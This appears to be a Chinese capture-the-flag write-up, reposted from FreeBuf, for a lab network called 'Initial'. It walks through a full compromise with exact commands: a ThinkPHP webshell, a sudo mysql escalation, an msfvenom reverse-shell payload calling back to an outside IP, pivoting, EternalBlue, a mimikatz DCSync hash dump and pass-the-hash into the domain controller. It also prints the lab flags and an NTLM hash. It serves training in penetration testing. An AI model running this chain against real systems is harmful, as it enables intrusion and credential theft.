Initial
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
IP地址:39.99.131.46
Flag第一部分
先使用nmap对IP地址进行扫描:nmap -sV -Pn 39.99.131.46

开启了80端口,从浏览器访问IP地址

先使用BurpSuite对用户名密码进行爆破,发现都显示页面404,无法登录。


通过页面图标判断是ThinkPHP架构,使用ThinkPHP工具进行验证,发现存在漏洞,使用工具进行GetShell。

使用蚁剑添加shell

使用文件管理功能查看root目录,发现权限不够

使用命令行查看当前用户和权限

尝试sudo提权,使用sudo -l查看,发现mysql命令不需要密码

查询使用方法

构造命令:sudo mysql -e ‘! find / -name *flag’ 来查看flag文件

构造命令:sudo mysql -e ‘! ls /root/flag’ 查看文件夹

构造命令:sudo mysql -e ‘! cat /root/flag/flag01.txt’ 来查看文件flag01.txt,找到第一部分flag:
flag{60b53231-
Flag第二部分
上传fscan到目标主机

在命令行查看网络信息,发现内网IP地址:172.22.1.15/16

使用chmod 777 fscan_amd添加执行权限,使用./fscan_amd64 -h 172.22.1.0/24进行扫描,发现三个存活主机:172.22.1.2,172.22.1.18,172.22.1.21,对三个网址进行扫描



获取信息:
172.22.1.2:172.22.1.2 (Windows Server 2016 Datacenter 14393)
172.22.1.18:WebTitle: http://172.22.1.18?m=logincode:200 len:4012 title:信呼协同办公系统
172.22.1.21:172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)使用msf工具,
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=120.27.227.99 LPORT=3333 -f elf**>**15.elf创建木马,通过蚁剑上传木马

启动msfconsole,创建监听器,并上线39.99.131.46主机
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LPORT 3333 set LHOST 120.27.227.99 exploit


添加路由
run autoroute -p run get_local_subnets run post/multi/manage/autoroute run autoroute -p
创建代理
use auxiliary/server/socks_proxy set srvport 2222 run
使用Proxifier连接代理访问172.22.1.0/24网段


网上搜索OA的exp文件,对其进行攻击,并添加到蚁剑中



使用命令行查看当前用户权限

搜索文件系统,在C:/Users/Administrator/flag/flag02.txt发现flag文件,找到第二部分flag:
2ce3-4813-87d4-
Flag第三部分
接下来对172.22.1.21主机进行攻击
之前扫描时提示存在ms17-010永恒之蓝漏洞,先验证是否存在漏洞
使用MSF上的MS17-010扫描模块进行扫描,验证存在永恒之蓝漏洞

使用永恒之蓝模块进行攻击,获取172.22.1.21主机shell
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp_uuid set RHOSTS 172.22.1.21 exploitDCSync是mimikatz在2015年添加的一个功能,利用的这个原理,通过Directory
Replication Service**(DRS) 服务的** GetNCChanges 接口模仿一个域控制器向另
一个域控制器发起数据同步请求,能够用来导出域内所有用户的hash**。**加载kiwi模块,抓取hash
load kiwi kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv
发现Administrator用户的Hash:
10cf89a850fb1cdbe6bb432b859164c8攻击域控主机172.22.1.2
使用impacket工具中的psexec.py反弹shell,成功获取域控主机shell
python3 psexec.py -hashes :10cf89a850fb1cdbe6bb432b859164c8 XIAORANG/[email protected]
浏览文件,在User\Administrator\flag文件夹下找到flag03.txt文件,查看flag03.txt文件,找到第三部分flag:
e8f88d0d43d6}
完整的Flag
flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



